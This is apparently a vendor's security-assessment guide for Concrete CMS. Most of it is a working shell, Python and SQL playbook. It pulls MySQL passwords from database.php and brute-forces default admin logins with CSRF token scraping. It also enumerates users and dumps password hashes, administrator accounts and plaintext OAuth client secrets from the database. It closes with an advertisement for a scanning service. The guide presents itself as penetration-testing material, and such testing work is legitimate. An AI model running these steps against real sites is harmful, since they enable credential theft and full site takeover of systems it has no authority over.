Concrete CMS (formerly Concrete5) is a widely deployed open-source CMS favored by small and mid-size organizations for its in-page editing. Key assessment areas: application/config/database.php exposes MySQL credentials; admin credentials are frequently weak at /index.php/login; the /ccm/system/upgrade/ upgrade interface may be accessible; the REST API uses OAuth 2.0 Bearer tokens; and the file manager may allow PHP webshell uploads. This guide covers systematic Concrete CMS security assessment.
# Concrete CMS — database.php MySQL credential extraction
CONCRETE_URL="https://site.example.com"
# application/config/database.php — Concrete CMS DB configuration (CRITICAL)
cat /var/www/concrete/application/config/database.php 2>/dev/null
# Returns PHP array:
# 'connections' => [
# 'default' => [
# 'driver' => 'c5_pdo_mysql',
# 'server' => 'localhost',
# 'database' => 'concrete',
# 'username' => 'concrete',
# 'password' => '...', <-- MySQL database password
# 'charset' => 'utf8mb4',
# ]
# ]
python3 -c "
import re
content = open('/var/www/concrete/application/config/database.php').read()
patterns = {
'password': r\"'password'\s*=>\s*'([^']+)'\",
'username': r\"'username'\s*=>\s*'([^']+)'\",
'database': r\"'database'\s*=>\s*'([^']+)'\",
'server': r\"'server'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Check upgrade interface accessibility
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONCRETE_URL}/ccm/system/upgrade/" 2>/dev/null)
echo "/ccm/system/upgrade/: HTTP ${STATUS}"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${CONCRETE_URL}/index.php/tools/required/dashboard/upgrade/" 2>/dev/null)
echo "/tools/required/dashboard/upgrade/: HTTP ${STATUS}"
# Concrete CMS version disclosure
curl -s "${CONCRETE_URL}/concrete/version.txt" 2>/dev/null | head -3
curl -s "${CONCRETE_URL}/updates/concrete-cms/version.php" 2>/dev/null | head -3
# Test admin credentials at /index.php/login
for CRED in "admin:admin" "admin:concrete" "admin@example.com:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s "${CONCRETE_URL}/index.php/login" | \
grep -oP 'ccm_token" value="\K[^"]+' | head -1 2>/dev/null)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${CONCRETE_URL}/index.php/login/authenticate/concrete" \
-d "uName=${USER}&uPassword=${PASS}&ccm_token=${TOKEN}" \
-c /tmp/concrete_c -b /tmp/concrete_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Concrete CMS REST API — OAuth token and admin assessment
CONCRETE_URL="https://site.example.com"
# Concrete CMS REST API uses OAuth 2.0 Bearer tokens
# API documentation: /index.php/ccm/api/
# Get OAuth token with client credentials flow
# (Requires API client configured in Dashboard > System > API)
TOKEN=$(curl -s -X POST "${CONCRETE_URL}/index.php/oauth/2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&scope=system:info" \
2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
# Site info (unauthenticated in some versions)
curl -s "${CONCRETE_URL}/index.php/api/v1/system/info" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'Site name: {d.get(\"name\")}')
" 2>/dev/null
# With admin session — enumerate users via dashboard
# Dashboard > Members & Profile > Users
curl -s "${CONCRETE_URL}/index.php/ccm/system/search/users/autocomplete?term=a" \
-b /tmp/concrete_c 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d[:10]:
print(f' {u.get(\"uName\")} | {u.get(\"uEmail\")}')
" 2>/dev/null
# Concrete CMS MySQL database — user hash and file manager assessment
DB_PASS="extracted-db-password"
mysql -u concrete -p"${DB_PASS}" concrete 2>/dev/null << 'EOF'
-- Concrete CMS users with password hashes
SELECT u.uID, u.uName, u.uEmail, u.uPassword,
u.uIsActive, u.uIsValidated,
u.uLastPasswordChange, u.uLastLogin, u.uLastIP
FROM Users u
WHERE u.uIsActive = 1
ORDER BY u.uID
LIMIT 20;
-- uPassword: bcrypt ($2y$) in Concrete CMS 8+
-- older Concrete5 versions: SHA-256
-- Admin user identification (uID 1 = admin, or group ADMINISTRATORS)
SELECT u.uName, u.uEmail, u.uPassword
FROM Users u
JOIN UserGroups ug ON u.uID = ug.uID
JOIN Groups g ON ug.gID = g.gID
WHERE g.gName = 'Administrators'
LIMIT 10;
-- OAuth API clients and secrets
SELECT ac.appID, ac.appName, ac.appDescription,
ac.clientID, ac.clientSecret
FROM OauthClients ac
LIMIT 20;
-- clientSecret: plaintext OAuth 2.0 client secret
-- File storage — check for PHP files uploaded to file manager
SELECT f.fID, f.fDateAdded, fv.fvFilename,
fv.fvSize, fv.fvType, fv.fvExtension
FROM Files f
JOIN FileVersions fv ON f.fID = fv.fID
WHERE fv.fvExtension IN ('php', 'php5', 'phtml', 'phar', 'shtml')
ORDER BY f.fDateAdded DESC
LIMIT 20;
-- PHP files in file storage = potential webshell
-- Stored in /application/files/ by default
EOF
| Security Test | Method | Risk |
|---|---|---|
| application/config/database.php MySQL password extraction | Read /var/www/concrete/application/config/database.php — MySQL database credentials for all CMS content, user data, and OAuth client secrets | Critical |
| /ccm/system/upgrade/ upgrade interface accessibility | GET /ccm/system/upgrade/ — database schema upgrade without admin authentication; potential for unauthorized database modification | High |
| Admin credential brute-force (admin/admin, admin/concrete) | POST /index.php/login/authenticate/concrete — admin session; full CMS management, file manager access, user management, theme/block editing | High |
| OauthClients plaintext client secret extraction | MySQL SELECT clientSecret FROM OauthClients — plaintext OAuth 2.0 client secrets; programmatic API access at the client's permission scope | High |
| Users table bcrypt password hash extraction | MySQL SELECT uPassword FROM Users — all user credential hashes; admin account (uID=1) bcrypt compromise enables full site takeover | High |
Ironimo tests Concrete CMS deployments for application/config/database.php MySQL password web exposure, /ccm/system/upgrade/ upgrade interface unauthenticated accessibility, admin/admin and admin/concrete credential brute-force at /index.php/login, version disclosure via /concrete/version.txt for CVE targeting, OauthClients plaintext client secret extraction, Users table bcrypt password hash enumeration, Administrators group membership identification, file manager PHP webshell upload (Files table extension filtering), application/config/ directory web access assessment, and OAuth Bearer token enumeration via /index.php/api/v1/.
Start free scan